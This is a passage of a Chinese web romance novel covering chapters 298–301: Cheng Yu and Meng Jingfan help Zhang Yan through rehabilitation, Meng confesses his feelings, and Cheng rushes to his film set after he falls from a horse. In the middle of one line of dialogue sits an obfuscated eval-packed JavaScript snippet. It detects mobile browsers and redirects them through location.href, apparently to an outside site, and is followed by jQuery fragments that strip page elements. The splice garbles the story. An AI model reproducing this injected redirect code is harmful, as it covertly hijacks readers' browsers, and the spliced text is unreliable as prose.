程逾探出头想要看看,被孟竞帆抬手抵住额头推了回去。 “她们走了。”程逾仰头,几乎用气声说了句。 孟竞帆很高,程逾几乎仰到尽头,她棕色的瞳孔里印着孟竞帆。 孟竞帆吊着呼吸,轻轻浅浅的,程逾忽然皱了皱鼻子,猛地靠着他的胸口打了个喷嚏。 “呵……”孟竞帆无奈浅笑,真是会破坏气氛。 他全身心放松地靠在柱子上,程逾又连着打了两个喷嚏。 “不会要感冒吧?” 程逾揉了揉鼻子,说:“没有,现在走吗?” “不走干什么,商场也不能逛,省得被认出来。” 程逾也没什么想要逛街的欲望,和他一道出了门。 因为被粉丝追,以至于两人偏离了方向,走了好久才找到停车的地方。 回到家时,孟棠他们正好吃过饭。 魏云舟见状,问他俩事情处理得怎么样。 孟竞帆说了个大概,问:“你什么时候走?” 魏云舟没回,程逾主动说:“你在家也无济于事,你哥不是在吗?不要耽误学业,赶紧按照计划走吧。” 孟竞帆也不给魏云舟说话的机会,下巴一抬:“你小鱼姐说得对,别耽搁了。” “那我后天按照计划走吧。”魏云舟说,“这次就不要爸妈送我了。” 孟竞帆点了点头:“行。” 两天后,全家送魏云舟去了机场,一番告别后,程逾和孟竞帆拐去了医院。 张延要出院了,他们来看看。 张家父母没有了之前的剑拔**张,从最初的不可置信,到愤怒伤心再到平静。 他们好似接受了,最起码张延的命还在。 张延看到他俩笑了笑:“坐吧。 “你气色好了很多。”程逾缓缓呼出一口气,“医生有确定什么时候可以出院吗?” “三天后。”张延自己看着都轻松了许多,“养养就能复建了。” “那就好。” 孟竞帆拍了拍他的肩膀:“加油,你这么年轻,一定会好的。” 张延“嗯”了声,他平日里也有锻炼身体,恢复起来还算快。 医生也是这样说的,还拿了许多例子来激励他。 三天后,张延正式出院,两家人表面上恢复了来往。 孟棠和魏川一直关注着他俩的情况,觉得孟竞帆处理得中规中矩吧,最起码比直接撕破脸强。 张延复建的时候,天气已经转暖了。 万物复苏,一颗绿芽都会在人的心里埋下希望的种子,张延亦是如此。 孟竞帆和程逾两个人陪着他一起复建,三个人竟还有说有笑。 张延的母亲从透明的窗口看着,五味杂陈。 “今天怎么样?”张延的父亲问。 “挺好的,你自己看看。” 张延的父亲驻足停留了一会儿,最终叹了声气:“张延的状态一天比一天好。” “嗯,起初我总是不放心他俩,现在看来……” 有些话没有说尽,但张延的父亲懂妻子要说什么。 程逾是挺好的,只怕张延恢复如初,这桩姻缘也就没了。 可他俩宁愿要张延和从前一样,只当和程逾没缘分。 程逾伸出两个大拇指,朝张延笑道:“给你两个赞,厉害。” 张延一下笑出来,上前抱住了程逾,孟竞帆刚要上前,被程逾抬手阻止了。 她拍了拍张延的后背,鼓励道:“真的很厉害,不信你问孟竞帆。” 张延松开他,转头看向孟竞帆。 孟竞帆“啧”了声:“厉害厉害。” 模样和语气都十分敷衍,张延却笑了:“这段时间谢谢你们。” 程逾说:“要不今天下午休息一下?” “不行啊。”孟竞帆十分严格,“要坚持。” 张延点了点头:“坚持。” 三个人相视一笑,想处了许久的老朋友。 晚上,程逾和孟竞帆在外头吃完饭才回,也许是高兴,程逾吃撑了,过家门而不入,拉着孟竞帆说:“散散步呗,你不撑啊。” “我撑什么,我又没吃多少。” “行,在阴阳我是吗?” “赶紧走吧。”孟竞帆转移话题,抬手按住她肩膀,将她整个人推着向前。 程逾心情明显不错,散步的时候还哼着歌,走路有点跳。 孟竞帆在后面看得想笑:“你到底在跳什么,都快三十的人了,还这么不稳重。” 程逾一听,停了步子,她转头呵笑一声:“我快三十了,那你呢?小屁孩?” 孟竞帆怀疑地垂眸,将自己上下打量了下。 “我?”孟竞帆指着自己,“小屁孩?你眼光没毛病吧?” 程逾哼了声:“比我小五岁呢,你知道五岁是什么概念吗?” “什么概念?”孟竞帆上前,“五岁又不是五十岁。” 四目相对,程逾总觉得他意有所指。 程逾干咳一声:“你看啊,你小学毕业的时候,我都快高中毕业了,你高中毕业了,我都大学毕业了,按理来说,在雁清的话,我这个年龄已经是结过婚的了,你才23。” “不要用年龄去束缚一些东西。”孟竞帆突然严肃下来,“有些人四十五从头开始,有些人二三十懒惰混日,我俩是相差五岁,但你敢说,我俩不和吗?还挺默契的吧。” 程逾沉默了一瞬,要不是她和孟竞帆的这份默契,也不至于让粉丝嗑生嗑死。 两人沿着道路缓缓前进,走到岔路口的时候,程逾的视线明显往北瞥了眼。 那儿是张延受伤的地方,孟竞帆掰过她的脸,说:“别看了,事情都过去多久了,现在已经是春天了。” “春天……” 程逾情不自禁重复了一遍,她永远记得张延受伤的场景,触目惊心。 她也总会在心里设想受伤的人是她。 当张延的母亲以此要挟时,她真的恨不得受伤的是自己。 “春天已经来了,小鱼。”孟竞帆看向她,“你打算什么时候跟张延坦白?” 坦白你不喜欢他,坦白你们只能做朋友。 “等他完成最后一轮复建吧。”程逾说,“时间过得太快了,你也歇了这么久,还不去工作吗?” 孟竞帆指了指前头一个社区公园:“我有话跟你说,过去坐坐?” 程逾看着他的眼睛,直觉要躲:“要不还是回吧。” “坐坐吧。”孟竞帆拦着人,“有些事情要说清楚。” 程逾边走边问,语气有些虚:“什么事要说清楚啊。” 社区公园里有不少健身器材,这个点人还是挺多的,但中间的秋千没人坐,他索性推着孟棠去了沙地。 两人一左一右在千秋上坐下后,程逾没话找话:“咱俩小时候喜欢玩这个,你还记得吗?” 孟竞帆点了点头:“每次都让我推你,轮到我你就跑了。” “我没跑啊,给你买甜筒去了。”程逾笑话他,“谁让你既是大馋小子又是 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“你有姐姐的样子?”孟竞帆白她一眼,依旧是从前的态度,“你对魏云舟倒是有姐姐样。” 说完,孟竞帆的嘴角突然咧了下,眼里笑意快要溢出来。 “你笑什么?”程逾觉得莫名其妙。 “魏云舟说你对他不是姐姐样,是嫂子样。” 程逾:“……他是不是欠揍了?” “旁观者清。”孟竞帆看向她,“就连小姑都觉得我俩合适。” 程逾再次怔住:“为、为什么?” “大概是咱俩在他们眼中,真的和别人不同。”孟竞帆说,“我能感觉到爸妈对于这件事也是接受的,不然你以为我为什么会留下来帮你处理张家的事?” “师父和川叔跟你说了什么?”程逾惊道,“他俩还跟你说这事?” 不是应该激烈反对吗? 童养媳什么的不都是小时候的玩笑话吗? “经过这次的事,他们可能也不太舍得你嫁出去,别人永远不可信,只有家里人才最可信。” “我没事啊,我也不一定要结婚吧。”程逾说,“等你以后结婚了,我就从宅子里搬出去。” “舍得搬出去吗?”孟竞帆语气十分笃定,“那些特意给你雕刻的床柜和摆件都不要了?” 程逾撇了下嘴:“我能带走吗?” “不能。”孟竞帆故意道,“这宅子所有的东西,以后都是我的。” 程逾:“……” “不过也可以是你的。” 程逾抓了下耳朵,小声骂他“神经病”。 “小鱼。”孟竞帆凑过去,“你不喜欢的话,不会骂神经病吧?一个眼神都不会给的。” 程逾:“……我没有,不要胡说。” 孟竞帆没有打算逼她,转头直视前方,笑道:“等张延复建结束,就跟他做普通朋友吧,如果不愿意,就做陌生人吧。” 程逾点了点头。 “爸妈说张延的事情会是我俩的突破口,其实我明白他们的意思,我好像一直在否定,也在害怕那份潜意识里的喜欢。” “我觉得你不会接受,也觉得我疯了,可是冷静下来想想,我们谁也离不开谁吧。” 最后一句话让程逾心脏一紧,她似乎不愿意承认,拽紧了荡秋千的绳。 鱼水不可分,孟竞帆是独属于她的最柔软的一瓢水。 “不管你承不承认,我们俩谁也离不开谁。”孟竞帆再次强调了一遍。 “如果离得开,你和我不会这么大了,一次恋爱没有谈过;如果离得开,我不会退掉工作,为了天天去盯着张延复建;如果离得开,我不会闲下来就往家里赶……” 一字一句,语气平静却坚定。 “小鱼,以后把我当一个男人看待就行,我们的关系早就因为综艺被掀开一个角,这个角只会越来越大。” 程逾心脏怦怦跳,她余光都没敢瞄一眼孟竞帆,倏地起身走了。 孟竞帆也起身,慢悠悠跟在她身后,看她无所适从,看她落荒而逃…… 第299章 孟程(33) 程逾觉得一切都乱套了,她也没想到孟竞帆和她直来直去。 其实他说了许多话,只有一句话,深深刻在了程逾的心里。 我们谁也离不开谁…… 孟竞帆一开始说这句话的时候,其实她是想反驳的。 话到嘴边,找不到一个反驳的点。 孟棠和魏川相爱,对孩子们也很好,家庭氛围浓厚的情况下,按理说每个人都会很有安全感。 但程逾的童年早就定型,坚强外表之下,是千疮百孔的心。 小时候遭受过太多白眼,她最后已经麻木,伪装起懦弱,走近大街小巷养活自己和老人。 孟棠的严厉是坚韧而温柔的,确实对她影响很大,但午夜梦回,她总会想这一切会不会是梦。 至于孟竞帆,在最好奇的年纪里,家里来了一个“姐姐”,他招狗逗猫般去惹程逾,每次都会得到一个小小的教训。 但每次都不服气,下次还惹,终于针尖对上了麦芒。 日复一日,那点针锋相对也就变了意味。 不过程逾还是烦,因为她不知道该怎么去回应孟竞帆。 孟棠看出来她逃避的心思,在某天下午,去了北院的工坊。 程逾的手伤早就痊愈了,但因为陪着张延复建,耽搁了一些时间。 乔松清今年订婚,还是张延的好友,程逾和张延商量了一下,决定先将手头的活儿做完。 不然她只能请乔松清另请高明了。 刻刀和木头摩擦的沙沙声,孟棠再熟悉不过,她在一旁看了会儿,浅浅笑了声。 程逾本就有天赋,年纪轻轻,和她也差不多了多少。 教给她的,她全都会了,曾经还会问她缝隙比预想的窄了半分,下刀的角度是不是得重新算……现在已经下刀如神。 手腕运刀极其稳定,藤蔓与枝干的连接镂空清晰而灵动。 看到地面上重叠的影子,程逾转头笑了声:“师父,您今天怎么回来那么早?” 孟棠笑了笑:“这一小片羽状小叶的‘夜合’姿态极其优美,因为视线有碍,背面的叶脉算得上盲雕,你把握得很精准。” 程逾嘿嘿一笑:“打粗胚时,我已经根据木料的光线,预判了叶片的正反和朝向,人家订婚要用的东西,我哪里能含糊,事关一桩姻缘呢,您说是吧,师父?” 孟棠“嗯”了声:“木雕最难的不是形似,而是让死物变活,方寸之间,刚与柔,实与虚都要表现得当,比如你这东西,细看要枝是枝,藤是藤,空间关系,前后层次,每一步都要算得清清楚楚。” 程逾早已独当一面,孟棠许久没和她一起讨论技艺。 “师父,今天怎么跟我说了这么多?”程逾觉得有些奇怪。 孟棠见她收尾,示意她收了刻刀,说:“木雕不能糊涂,人也不能,感情就更不能。” 程逾一下慌了:“师父……” 孟竞帆嘴这么快的吗? 孟棠拿起其中一小块还未细雕的木头,对程逾说:“从粗到细,打磨后不是浮于表面的油光,沉淀下去是从内到外的温润光泽,一段好的感情应该是这样的。” “就比如您和川叔吗?”程逾开了句玩笑。 孟棠莞尔:“你和竞帆的事情,我和你川叔不会插手的,只是我看你纠结到晚上睡不着,不忍心过来找你说说话。” “师父……”程逾愣了下,“您怎么知道我晚上没睡?” “你屋里的木灯开着。” 程逾床头的木灯还是孟遇春做的,每当她辗转反侧时,这盏灯会静静陪着她整夜。 虽说她和孟遇春隔了辈,但她总能从老爷子身上看到自己爷爷的影子。 “师父,我不知道该怎么办。” “这里……”孟棠指了指她心脏的位置,“会告诉你答案,小鱼,我不会因为这件事对你有任何的看法,你躲避我也能理解,但竞帆看着吊儿郎当,其实和他爸爸骨子里是一样的。” “可能受我和你川叔的影响,让你们在找另一半的过程中总要拿我们对比。” 程逾反驳不了,她虽然叫魏川叔叔,但魏川在她生命中扮演的角色就是缺失的父亲。 她会对比。 大学的时候,也有不少人追过他,她确实下意识会将对方和魏川比。 她知道这样不好,但珠玉在前,让她的眼光不自觉地挑高。 要说最符合她择偶标准的,还真是孟竞帆的性格。 孟棠拍了拍程逾的肩膀,说:“其实你俩谁也离不开谁,竞帆小时候虽然总是闹你,但也依赖你,你呢,可能来雁清后有点无所适从,所以享受他的依赖,让你感觉被需要,被需要了你就觉得自己在这个家是有用的。” 确实如孟棠所说,她享受孟竞帆的作弄和依赖,也乐于小小反击和包容。 小时候形成的相处模式,长大后只会照着这种轨迹进行下去。 “师父……”程逾有些感动,孟棠说到了她心上,他们一直都懂。 “感情的事自己解决,勇敢一点,无论怎么样,你在我们心里不会有一点变化。” 程逾点了点头:“我知道了师父。” “好,该说的也说了,时间不早了,歇会儿去吃晚饭吧。” “行。” 程逾收拾了东西,和孟棠一起去了前院。 张延的复建在七月底结束,结束的那一天,三个人互相看着彼此,随后一同笑起来。 张延的后续治疗很配合,有专业的医生,还有孟竞帆陪他逗乐子,所以能恢复,他还是挺感谢孟竞帆的。 “怎么样?去庆祝一下?”孟竞帆伸手,将他从地上拉起来。 张延借着他的手起身,笑道:“今天不行,一大家子等着了,下次约吧,确实应该好好感谢一下你俩。” “少来吧。”孟竞帆拍了下他的肩,“那我俩就不送你了,下次约。” “行。”张延瞥向程逾。 程逾朝他颔首:“到时候再电联吧。” 张延应了声,和前来接他的父母离开了。 “我们也走吧。”程逾将孟竞帆手里的车钥匙接过去,“今天我开车。” “今天心情怎么这么好?”孟竞帆揉了揉她的头,程逾有些不太习惯,愣了两秒后躲开了。 “别动手动脚。” 孟竞帆:“……我哪动手动脚了?” 程逾拉开车门,示意他上车。 天气正好,她没有开回去,一路向北兜风去了。 还好不是什么昂贵的跑车,不然在雁清在扎眼。 孟竞帆有不少好车,都在z市的车库里,秉着低调的原则,他很少出去炸街。 不知不觉,程逾将车开到了一处水库风景。 她下了车,靠在车边看风景,孟竞帆走过去,一把揽过她。 “你干嘛?”程逾吓了一跳。 “别动。”孟竞帆拿出手机,“自拍一张呗,纪念一下。” 程逾举起她永远的剪刀手,和孟竞帆拍了一张。 “张延真的好了。”程逾突然笑了声,“我很开心。” “知道你开心,他自己也是,所以他下次找你,该拒绝的要拒绝,知道吗?” 程逾点了点头:“知道。” “难得不顶嘴。” “我可不是为了你,别自作多情。” 孟竞帆抬起胳膊,绕过她的脖颈,食指抵在她下巴,迫使她扬起了头:“哪天能不怼我?” “松开我啊。”程逾横他一眼,“不然我偷袭了啊。” “你偷一个我看看。”孟竞帆先快一步,钳制住她两只手腕,得意地朝他扬眉。 “别闹了。”程逾投降,“你抓着我两只手,我怎么反击?” 见她求饶,孟竞帆松开她的手。 程逾勾了勾唇,一个用力,手腕滑出他的手心,手肘击到他腹部,惹得孟竞帆蜷缩成虾。 “我靠,你下死手啊。”孟竞帆龇牙咧嘴,“还能不能愉快地玩耍了?” “不能。”程逾推开他,“你能不能站好了?” 孟竞帆松开她,双手抱胸靠在车身上,满眼的绿色看得人心情不错。 “我下个礼拜复工。”孟竞帆幽幽道了句,“忙起来可能都没什么时间见面了。” 程逾怔愣后,装作无所谓道:“没关系啊,我在家也很忙,而且你们曝光度这么高,可以在网络上见到你嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737272|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 孟竞帆突然笑了声,程逾不解地侧眸:“你笑什么?” “我还以为你会说太好了,烦人精终于走了。”孟竞帆看着她,“看来你也还是想见到我的。” 程逾:“……突然有点饿,吃饭去吗?” 话落,她转身拉开车门钻进了驾驶位。 “看你什么时候能想明白。”孟竞帆嘀咕了声,绕过车头进了副驾。 两人吃完饭就回了宅子,孟竞帆接到了经纪人的电话,线上开会去了。 孟棠和魏川向程逾了解张延的情况,听她说康复了,也松了口气。 “过两天,我和你川叔上门拜访探望一下,你跟我们一起去吧。”孟棠说。 程逾点了点头:“好,就等孟竞帆去首都之后吧。” “行。” 孟竞帆得知却有点不大乐意:“趁我还在家一起去啊,好待也陪他复建了大半年呢。” 程逾坚持等他走后再去,孟竞帆也没办法,但峰回路转,张家人竟然在他离开的前一天上门了。 魏川和孟棠正好都在,忙沏了茶水,将一家人迎去了正厅。 张延的母亲有些不好意思,说:“这段时间麻烦竞帆和小鱼了,张延能恢复到现在的模样,少不了他俩的鼓励。” “应该的。”孟棠说,“小鱼和张延本就是朋友。” 张延母亲干笑了声:“是,是朋友。” 两方寒暄了一番,张延终于找到和程逾独处的机会。 两人乍然独处还有些尴尬,张延挠了挠头:“我好像没有竞帆会活跃气氛。” 程逾哭笑不得:“你跟他比这个干什么,每个人都有优点。” “小鱼,我曾经说的那些,全都作罢吧。” 程逾惊讶抬眸:“我还以为你是来向我要承诺的。” 她还在绞尽脑汁想,什么样拒绝的话不会太让人难受。 “这些天我想了很多,我们不该把这次的意外归咎于你,然后道德**你,要挟你,在这里,我和我的家人想你说一声‘对不起’。” “都过去了。”程逾说,“一开始我确实愤怒,但你为了我受伤也是事实,我真的理解阿姨,只是不赞同她的做法。” “我妈也后悔了,真的对不起。” “你干什么。”程逾笑道,“真的过去了,希望你以后能遇到一个真正爱你懂你的人。” “你遇到了吗?”张延问。 程逾却不知道怎么回答他这句话。 “孟竞帆陪我复建这么久,其实是为了你吧。” 程逾还是没吱声。 “一起相处了这么久,我眼睛也不瞎,剧本的事情大概率是假的,只是一个让我答应的借口。” 程逾最终点了点头。 张延叹了声气:“咱俩确实没有缘分,我也希望你以后能开开心心,找一个懂你爱你的人。” 或许你现在已经找到了。 “承你吉言。”程逾笑道,“一起努力吧。” 张延一家待了一会儿就离开了,自此,两家来往少了些。 孟竞帆飞首都前一晚,故意问程逾会不会想他。 程逾朝他努努嘴:“不会。” 但口是心非就是用来打破的,一个月后,孟竞帆片场坠马送医,程逾魂都吓飞了,当即买了机票飞去了他工作的城市。 孟竞帆这次拍戏的地点太远,程逾下了飞机又辗转了大巴三轮,终于在镇上的医务室见到了人。 孟竞帆看着突然出现在眼前的人都惊呆了:“你怎么来了?” “不是说坠马送医了吗?”程逾呆呆地问。 “是坠马了,一点小伤而已。”孟竞帆说,“一个人过来的?” 程逾有苦难言,心里莫名其妙有些委屈。 见他在片场还要工作,程逾小声说:“我先去酒店吧,等你收工再说。” 孟竞帆让助理带程逾去了自己的房间。 程逾说自己可以订房间,助理失笑:“小鱼姐,哪还有房间啊,这里前不着村后不着店,有得住就不错了。再说了这里环境不好,鱼龙混杂的,孟哥不放心你一个人住。” 程逾心里一惊,什么意思?孟竞帆要和她睡一个屋? 第300章 孟程(34) 孟竞帆助理给程逾安顿下,人就走了。 程逾瞥了眼大床房,拿出手机搜索了附近的酒店,全都客满。 这个地方虽然不大,但也不至于酒店都被订了吧? 程逾下楼,去问了前台。 前台见她漂亮,以为她也是来拍戏的小明星,说:“我们这里不知道撞了什么窝,最近三个组在拍戏,很多人都住到五十公里开外了。” 程逾恍然:“我说呢,怎么房间都满了。” “你没有房间吗?”前台问。 “有,有的。”程逾干笑了声,转头回了房间。 “算了,既来之,则安之。”程逾将行李箱打开,叹了声气,“我怎么就这么沉不住气,师父都没来,肯定知道他没什么事,可没人跟我说啊。” 从这里到雁清,坐飞机都要四五个小时,还不包含中间的各种转车。 从市里到县里,再到镇上,她第一次体会到晕车的感觉。 累得不行,程逾也没什么胃口,干脆收拾了衣服,去浴室洗了澡,省得孟竞帆回来再洗尴尬。 连着头发,程逾花费了四十分钟才收拾好自己。 她对着镜子拨了下还带着点湿气的中长发,也懒得再吹干。 屋里还有一张捡漏的沙发,单人沙发都算不上,很窄,程逾睡上去都吃力,只能歪着身体。 她将外套卷成桶状,枕着玩了会儿手机,什么时候睡着的都不知道。 孟竞帆回来的时候已经晚上九点,他带了些吃的回房,敲了半天的门没人应。 程逾大概率是睡着了,他和助理各有一张卡,他的给了程逾,他只能打电话给助理,让她过来开了门。 助理没进门就被孟竞帆“撵”走了。 进门一看,程逾果然睡着了,只是孟竞帆却皱了眉:“怎么在沙发上睡着了?” 程逾睡得无知无觉,孟竞帆拿着烧烤在她鼻子附近晃了晃。 程逾皱了皱鼻子,肚子一阵响,随后悠悠转醒。 映入眼帘的是孟竞帆那张棱角分明的俊脸,程逾一下坐了起来:“你回来了,带了什么?” 孟竞帆将吃的放在沙发前的小桌子上,说:“是不是饿了,起来吃点,都是你爱吃的,微辣。” 程逾有点懵:“我怎么睡着了?” “累得吧。”孟竞帆说,“从雁清过来,辛苦你了,先过来吃东西。” 程逾懵懵地应了声,起身的瞬间,清淡的橙花味袭向孟竞帆。 他再熟悉不过的味道,是程逾用惯的沐浴露。 从小到大都是这味道,她也不嫌腻。 程逾四处瞥了眼:“有喝的吗?” 孟竞帆笑了声,不知从哪儿拿出一杯奶茶。 程逾撇了撇嘴:“烧烤不应该配啤酒吗?” “大晚上喝酒,孤男寡女的,你也不怕出事。” 程逾:“……一罐啤酒而已,喝不醉。” “就喝奶茶吧。”孟竞帆说,“我下午见到你的时候,你脸色有点白,是不是晕车了?” 程逾点了点头:“有点,这个地方太远了,我转了好多趟车。” “不舒服还喝什么酒,这些不消化的肉也少吃,我给你带了别的饭菜,这个吃两串解解馋。” “不让吃还买那么多。”程逾拿过羊肉串,咬下一块肉,“你自己又不能吃,不是浪费嘛。” “同剧组演员塞给我的,你以为我想给你吃这些东西?”孟竞帆有些无奈,“他们点多了。” 程逾指了指对面:“坐啊,跟我一起吃,不然浪费。” 孟竞帆在她对面坐下,给她打开了炒饭:“待会儿吃点这些。” “吃不掉。”程逾看了眼,“你拨去一半。” “行。” 孟竞帆早就饿了,这附近也没什么吃的,全家福炒饭已经称得上奢华了。 桌子很小,两人低头就能碰到一起。 程逾边吃边问:“我给你打电话的时候你怎么不接?” 但凡他接了,她知道了他的情况,也不会从雁清飞过来。 “拍戏呢,进度挺赶的。”孟竞帆塞了一口炒饭,“等我打回去的时候,你人已经在飞机上了,我也是从我妈那儿知道你来找我了,这么火急火燎的,担心我啊?” 被他当面戳穿,程逾抬眼瞪他:“你都快被马踩**,我还不能担心了?在得意个什么劲?” “能担心。”孟竞帆朝她讨好地笑了声。 程逾慢吞吞吃完了饭,将自己面前的全都收拾擦了,孟竞帆还在吃,她拿起手机给孟棠报平安。 “你下次直接说,我还能不让你去吗?”孟棠状似责怪。 “师父,我忘了跟你说,当时有点急。”程逾心虚。 她当时甚至忘了跟孟棠说。 “这么远的路,在那边歇几天再回来。”孟棠说,“或者你不想待在那儿,自己去附近玩一玩。” “玩什么啊,就在这儿陪我待几天。”孟竞帆说,“这里远离城市,我不放心。” 程逾见他插嘴,警告地瞪了他一眼,和孟棠聊了几句后挂断了电话。 “我陪你待着干什么,我在雁清还有事,你没事我就放心了,明天我就买票回去。” 孟竞帆噎了下:“这么急干什么?” “你在这里工作,我跟你住一个房间?”程逾无语道,“你自己听听像话吗?” 孟竞帆:“……” 确实有点不像话。 组里人多混杂,谁也不知道程逾会碰到什么样的人。 “行,那我让助理给你买票。” 程逾点了点头:“不用你操心,我怎么来怎么回,自己拍戏注意点,也考虑考虑一下在雁清的我们。” 孟竞帆轻笑:“主要考虑你吧。” 程逾指着他:“别说乱七八糟的话。” “我不说。”孟竞帆终于放下了筷子,“我把这些收拾一下,你把房间的窗户打开一下散散味。” “我才不打开。”程逾说,“万一被拍你就完了,房门开着散散就行。” 孟竞帆:“……你考虑得还真周全,但真不用,我谈不谈爱也不影响我的资源。” 程逾:“……怎么就扯到谈恋爱了,你去不去啊?” “行,把房门开着。” 一顿饭吃了一个多小时,程逾刷了牙后,直接躺到沙发上,对着孟竞帆嚷嚷:“我今晚就睡这儿。” 不好睡,但能将就一晚。 孟竞帆什么都没说,捂了下她的眼睛:“我洗澡去了,别偷看啊。” 程逾立马调转了方向躺下:“我这样就看不到了。” “你原先还指望偷看啊?”孟竞帆失笑,“看呗,我身材挺好的。” “滚。” 孟竞帆撩拨完人,拿着衣服和浴巾去了浴室。 程逾感慨地又将房间打量了一遍,心想孟竞帆什么时候受过这种苦啊。 喊着金汤匙出生,出门有司机有保姆,酒店入住都是套房,这种一眼望到头的,小到离谱的酒店房间和他格格不入。 就这样的环境,下午助理还跟她说已经是组里最好的了,毕竟是男一号。 程逾的耳朵里响着浴室的水声,手机突然响起来,吓了她一大跳,接通视频的时候,她已经红了耳朵。 “喂,淼淼,怎么这个时候给我开视频?”程逾问。 “你在哪儿啊?”周淼好奇地瞥了下她的房间背景,“你不在家啊?” 程逾说了地名:“我在孟竞帆的剧组里。” “哦,我打给你就是想问问你他的伤势,我看视频摔得挺重的。” “屁事没有。”程逾说,“辛苦你关心。” “哎?小鱼,你在哪儿啊?酒店吗?”周淼问。 “嗯,”程逾点了点头,“酒店房间,这里不少人在拍戏,都满了,我在孟竞帆的房间里。 周淼姨母笑:“你说在谁的房间里?还有啊,你脸怎么红了?” “我热的。”程逾说,“你要没事我就挂了。” “别挂啊,孟竞帆呢,你倒是让我跟他打个招呼。”周淼想要吃瓜的眼神藏都藏不住。 “他洗澡呢。”程逾脱口而出。 “洗澡?”周淼惊了,“你俩发展的速度也太快了吧?” “想什么呢?”程逾猛地坐起身,“你那脑瓜子会不会臆想过头了,我因为没有房间暂时住他房间……的沙发上,明天我就走了。” “哦。”周淼的语气和神态颇为 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“孟竞帆!”程逾吓了一跳,“你要干什么?” “睡觉,还能干什么?”孟竞帆居高临下看着她。 程逾:“……我说了我睡沙发。” 孟竞帆彻底没了耐心,将她双腿一扯横过去,利落地盖上了被子。 四目相对,程逾看清了他眼底的固执,妥协道:“我睡我睡,松开我。” 孟竞帆松开了她:“往里去,给我一个位置。” “没有别的被子了。”程逾弱弱地问了句。 “你说呢?”孟竞帆给了她一个“明知故问”的眼神。 程逾闭了嘴,整个人往下滑去。 被套是孟竞帆自己带的蓝色条纹的,上面沾满了他的气味,是不同于女性柔和的香气,带着点侵略性。 程逾偷偷嗅了下,和记忆中的一对比,突然轻笑了声。 “笑什么?”孟竞帆转过头,“想什么想这么美呢?” “香味。”程逾的笑容更大了,“你小时候的被子上都是奶味。” 孟竞帆:“……你再敢提小时候,小心我**你。” 程逾“嘁”声:“真话也不让说。” “你在一个成年男性的,明显喜欢你的人的床上说他小时候浑身奶味,你觉得合适吗?” “哪儿不合适了。”程逾嘀咕,“你现在也挺幼稚的。” 孟竞帆靠近她:“你确定?” 突然靠那么近,程逾的心脏有些受不了,她将孟竞帆往一旁推:“被子不算小,你往边上去去。” “我倒是想往边上去。”孟竞帆说,“但这床只比单人的宽了点,你也不怕我掉下去。” 程逾故意道:“掉下去你就在地毯上睡。” “你这心肠忒坏了。”孟竞帆笑了笑,“也不怕我冻感冒了。” 程逾转过脸,看到他手臂上的擦伤,半晌没说话。 孟竞帆顺着视线往下,抬了抬胳膊:“有什么好看的,只是小伤。” “其实你小时候挺爱美的。”程逾说,“有一次偷玩刻刀划伤,盯着我给你涂药,不让有留疤的可能。” 孟竞帆:“……” 他发现自己小时候也挺奇葩的,有精力盯着程逾给他上药,没力气自己上药吗? “你那时候是不是特嫌我?” “我现在也特嫌你。”程逾看了他一眼,故意找茬。 “你再说一遍。”孟竞帆眯了眯眼。 程逾成功惹到他,得意地挑了眉:“说就说,我现在……啊……” 孟竞帆搞偷袭,手指头钻到了程逾的腰。 “我真服了,孟竞帆,赶紧松手。”程逾憋着笑。 “你还说不说了?”孟竞帆手下不停,程逾在被子了拱得乱七八糟,头发都乱了。 程逾怕痒,跟扭动的**毛虫似的。 孟竞帆见她笑得一口气差点没喘上来,终于高抬贵手了。 程逾狠狠捶了他一下,有些生气地瞪着他。 孟竞帆一把搂住她,抱得紧紧的,轻哄:“好了好了我错了,睡觉吧。” 第301章 孟程(35) 被一个成年男性抱着睡,真是生平头一遭,程逾懵了片刻,恼羞成怒去推孟竞帆。 “你你你……你放肆。” 孟竞帆猛地笑出声:“你在拍古装剧啊。” “松开。”程逾像煮熟的虾,“孟竞帆你松开我。” 再不松开某些人要跳床了,孟竞帆只能遗憾地松开了她。 “空调打的这么冷,抱着取暖多好。”孟竞帆一本正经地胡说八道,“你还是不会享受。” “我是山猪。”程逾拽了下自己的被子,“吃不了这细糠。” “怎么总是逗我笑。”孟竞帆揉了下嘴巴,“法令纹都出来了。” 也不知道有什么好笑的,从进门开始,就用他那桃花眼笑笑笑。 程逾气闷地转过身:“睡觉。” 孟竞帆凑过去,贱兮兮道:“真的不一起睡啊?” 程逾一脚踹向他的腿,孟竞帆嚎了一嗓子:“你踹我淤青了。” 程逾猛然想起来他坠马的经历,一个翻身坐了起来,表情挺复杂,嫌弃中带着担忧,担忧中带着委屈。 她都说不要闹了,他非得厚脸皮地凑上来。 孟竞帆下意识往后退了下:“没事没事。” “你裤腿拉上去,我看看。”程逾冷酷道。 孟竞帆生怕她给自己一巴掌,明天还要拍戏呢,赶紧将裤腿拉了上去。 小腿淤青很大一块,程逾倒吸了一口凉气:“你这喷药没有啊?” “你说呢。”孟竞帆放下裤腿,“踹的时候疼,这会儿已经不疼了,再说你多大劲啊,赶紧躺下睡觉吧。” 程逾盯着他:“你不会是为了不耽误剧组的进度忍着呢吧?” “我还能拿自己的身体开玩笑了?”孟竞帆给她盖上被子拍了拍,“睡吧,不闹了,今天拍了一天,有点累。” 到底谁在闹?程逾缩进被窝,闭上了眼睛。 孟竞帆心大,旁边又是熟悉的人,明早四点就得起床妆发,几乎秒睡。 可怜了程逾到了陌生的环境,翻来覆去睡不着。 明明孟竞帆也是她最熟悉的人,怎么他就能睡着了。 程逾叹了声气,转过身看着孟竞帆,毫不设防的睡颜,和小时候没什么两样。 不知道什么时候睡过去的,再醒过来时,房间里已经没人了。 程逾在桌上看到了孟竞帆的字条,让她醒来给他打电话,他让助理送餐去。 程逾醒过来的时间已经过了酒店的早餐店,而且酒店规格不行,也没什么好吃的。 她索性换了衣服,去楼下溜达了两圈,买了一个面包和酸奶随便对付一口。 程逾有孟竞帆助理的联系方式,溜达到片场附近后给对方打了电话,问了飞机票的事。 